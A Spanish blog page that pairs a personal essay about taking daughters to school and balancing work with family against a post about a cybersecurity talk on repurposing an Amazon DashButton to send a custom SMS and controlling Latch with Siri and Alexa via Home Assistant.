La mochila de Mi Hacker pesa mucho por los libros, el cubo de Rubik, el cómic de Asterix, la serpiente mágica, los pinceles que a veces echa para la clase de pintura o los cuadernos de inglés, así que a veces se la subo una planta arriba, a donde están las clases de "los muy mayores". Su clase está justo en frente de la de su primo, el rubio Jedi al que pasamos a dar un beso. Siempre nos regala besos a todos. Él, teniendo un cochecito en la mano para vivir en silencio sus aventuras es feliz.

Le damos un beso al joven Jedi y a Mi Hacker, y "terremoto" Survivor y yo enfocamos regreso a su clase de "también mayores" para que entre a las nueve menos cinco. Por el camino ella corre. Todas las niñas la saludan. Alguna siempre se para a darle un beso a Mi Survivor. La conocen la mayoría porque siempre está dando guerra a su hermana en las reuniones de mayores.


Llegamos en frente de la clase de Mi Survivor. Colgamos el almuerzo en la percha, dejamos la mochila de baile al pié, que la carpeta de inglés la tengo en el coche que hoy no le toca. Si es día de piscina la cosa se multiplica, porque también hay que llevar la mochila con la muda y el albornoz. Siempre nos quedan unos minutos. Tiempo que Mi Survivor quiera aprovechar para ver el Youtube. Me siento en el suelo, ella se sienta en mi regazo y la dejo mi móvil.

Ella ve algún vídeo de Peppa Pig, de juguetes con bebés, o de la patrulla canina. Lo que sea. Yo la huelo el pelo. Cierro los ojos y la huelo mientras ella está calmada con su Youtube. Ella, además de estar concentrada aprieta con fuerza su LOL Surprise. Es el juguete que hoy se ha traído al colegio. No lo quiere perder.

Por último, aparece la prima pequeñita de la familia, que también va a este colegio. Va a la clase de los "menos mayores" que aquí todos son mayores. De los que aún solo gatean esperando a poder ponerse de pié en breve. Nos mira. Nos da un beso volador y nosotros le damos uno suavecito en la frente o en el moflete. Suave, que tiene genio la pequeñita.

De repente abren la puerta de la clase de "Las Olas" donde va Mi Survivor. Tira el móvil dos metros hacia el cielo, mientras se levanta de un salto, me da un beso rápido, aprieta la LOL contra el pecho y se mete a la velocidad del rayo dentro del aula. Quiere ser la primera. Ella siempre quiere ser la primera. Yo, capturo el terminal al vuelo antes de que mi iPhone X se convierta en un puzzle de mil piezas.

Apago el Youtube y enfilo hacia la salida. Hacia mi coche. Son las nueve menos tres minutos. Toca cambio de contexto. Hoy no toca hacer deporte. Hay deadlines por delante. Tenemos el lanzamiento de una campaña para la semana que viene y tienen que estar todo listo. Mi agenda se alarga de continuo sin tiempo para comer más que una ensalada entre una reunión y reunión. Yo lo elegí así.

Tengo el día intenso de reuniones y trabajo. Pero saldré pronto. Saldré pronto porque quiero llevar a Mi Hacker a inglés, y a Mi Survivor a baile. Y tengo que traerles su merienda. Después, antes de acostarme, y después de contarles su cuento y darle los besos de buenas noches, terminaré de rematar mi jornada de trabajo.

No es mi rutina de todos los días. Es la rutina "de algunos" días. No siempre son así mis días. No siempre tengo este balance entre vida personal y trabajo. Pero sí muchos de ellos son así. Y estos minutos me ayudan a hacer todo más llevadero. Más sostenible. Más lleno de energía. Otros días salgo con la bicicleta, otros días me voy a correr. Otros días las recojo de baile o las llevo a patinaje. Pero por suerte puedo sacar un rato para hacer este balance. Es más, me fuerzo a sacar ese tiempo. Ese tiempo para ellas, ese tiempo para mis amigos, ese tiempo para hacer deporte. Si no todos los días, todas las semanas seguro.

A post shared by Chema Alonso (@chemaalonso) on

En el trabajo no creo que haya horarios fijos. Ni días fijos. Ni creo que mi trabajo deba se extenso, sino intenso. No me gusta desaprovechar el tiempo en el trabajo, porque para mí significa desaprovechar por ende el tiempo en mi vida personal. No creo en la imposición de horarios, que ya me los impongo yo cuando lo tengo que hacer. Y cada uno de nosotros somos distintos. Diferentes trabajando. En mi caso, creo en los deadlines. En las fechas inamovibles en las que hay que hacer delivery. El día del evento, el día de inicio de la campaña, el día de lanzamiento del servicio, el día en que comienza el proyecto.

Tener deadlines, me permite tener desayunos en el colegio. Solo 10 minutos viendo como dibujan. O como se pelean. O como simplemente como me sonríen y me dicen cosas bonitas. Ese sí que es un bonus en el salario.

Saludos Malignos!

martes, junio 12, 2018

La tecnología como fuente de ideas: Hacks & PoCs

Hace unas semanas tuve la suerte de poder impartir, por tercer año, una ponencia en las Jornadas de Ciberseguridad del centro de estudios Virgen de la Paloma. Un centro histórico de la ciudad de Madrid, dónde cientos o miles de jóvenes se forman en los niveles de Formación Profesional para el día de mañana. La experiencia por tercer año ha sido, como siempre, muy buena. En esta ocasión queríamos presentar una charla orientada a la ciberseguridad, pero que tuviera un toque distinto y que mostrara el poder de las ideas junto al uso de la tecnología.

Figura 1: La tecnología como fuente de ideas: Hacks & PoCs

Por esta razón, junto a mi fiel compañero Álvaro Nuñez-Romero (@toolsprods), impartimos la charla sobre cómo habíamos ‘parido’ un par de ideas, una de las cuales fue presentada en nuestro querido Equinox. Las ideas escogidas fueron:
- El uso del DashButton para cambiar el comportamiento de dicho botón. 
La integración de Siri y Alexa con Latch a través de HomeAssistant.
Como mencionaba anteriormente, la idea era mostrar el paso a paso de cómo surgieron las ideas y cómo las fuimos implementando hasta llevarlas a cabo.

Figura 2: Nuestro compañero Félix Brezo sobre ElevenPaths

La idea era que los asistentes vieran cómo trabajamos en el día a día, para hacer que una idea se convierta en realidad. Además, la seguridad aportada por Latch se podría gestionar a través del uso de un asistente de voz, gracias a la integración con Home Assistant.

Primera parte de la charla: DashButton y el SMS ‘Alive’

Tras explicar de dónde salía la idea, explicamos el paso a paso de nuestro mini proyecto con el DashButton. La idea era mostrar lo que fácil que era modificar el comportamiento del botón para que realizase una acción que, a nosotros, en este caso, nos interesase. Lo primero era identificar la dirección MAC del botón, para poder interceptar las peticiones que éste hiciera hacia fuera. Este era el algoritmo para modificar la funcionalidad por defecto al botón IoT:
1. El botón se encuentra conectado a una red Wi-Fi, la que crearemos en nuestra Raspberry Pi.

2. La Raspberry Pi tiene instalado y configurado hostapd, esto nos permite convertir la interfaz Wi-Fi en un AP, Access Point.

3. La interfaz de red cableada de la Raspberry Pi estará conectada a Internet, pero esto no es importante, lo importante es que la interfaz Wi-Fi y la de cable no tengan puente entre ambas. Es decir, cuando el tráfico del botón llegue por la interfaz Wi-Fi de la Raspberry Pi, ésta no lo reenvíe por la de cable que estará conectada a Internet.

4. Conectar el DashButton a la Wi-Fi de la Raspberry Pi, tener un sniffer escuchando por la interfaz inalámbrica y poder capturar el tráfico que el botón genera cuando es pulsado.
Identificar cuando un usuario pulsa el botón es importante, ya que necesitamos esto para poder aplicar la lógica que nosotros queramos. A continuación, se muestra el código del script basado en la librería PacketFu de Ruby para llevar a cabo la identificación, interceptación y activación de la nueva funcionalidad a ejecutar.

Figura 3: Script en Ruby para controlar la funcionalidad el DashButton

Ahora, os dejamos un vídeo demostrativo sobre el proyecto en el que se puede ver cómo se activa el botón y nos llega el SMS personalizado.


Figura 4: PoC DashButton

Segunda parte: Latch (Super Hero) Assistant

Más de la segunda parte de la charla venía dada por explicar cómo surgió la idea de utilizar Siri y Alexa para comunicarnos con Latch, gracias al uso de HomeAssistant. La plataforma de Home Assistant proporciona un framework que nos permite crear sobre ella componentes que hagan que cualquier dispositivo IoT pueda ser integrado en nuestra casa. Estuvimos viendo la plataforma HomeKit que proporciona HomeAssistant, que es una integración para poder hablarse con el HomeKit de Apple.

Figura 5: Home Assistant

Contamos como estudiamos la arquitectura de HomeAssistant y entendiendo que eran las plataformas y los componentes que ofrece este framework. Es más, nos tocó desarrollar un componente para leer las señales que viajaban por el bus de HomeAssistant. El bus maneja eventos, estados, etcétera.

Figura 6: Gestión de eventos

Aparte de hacer la demo en directo, mostramos un vídeo de las pruebas realizadas durante todo el  día que duró este último Equinox. Aquí lo tenéis.


Figura 7: Demo de control de Latch con Siri & Alexa

La conferencia en sí, donde contamos todo esto

Por último, os dejamos el vídeo de la ponencia dónde podréis ver en detalle todo lo que hablamos y comentamos, que más vale un vídeo con todos los detalles que un artículo que lo cuenta con palabras. Más vale una imagen (en movimiento) que mil palabras.

Figura 8: Conferencia "La Tecnología con fuente de ideas"

De nuevo indicar que fue una gran experiencia y que espero volver en la cuarta edición, y seguir completando el pleno de años en las Jornadas de Ciberseguridad del Virgen de la Paloma.

Autores: Álvaro Núñez - Romero (@toolsprods), Security Researcher en ElevenPaths y Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advance Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root" y “Pentesting con Powershell”, Microsoft MVP en Seguridad y Security Researcher en ElevenPaths

Entrada destacada

Docker: SecDevOps. El nuevo libro de @0xWord

Hoy sábado tenemos una nueva sorpresa en la colección de libros de 0xWord , en este caso un libro de Fran Ramírez , Rafael Troncoso y Elia...

Entradas populares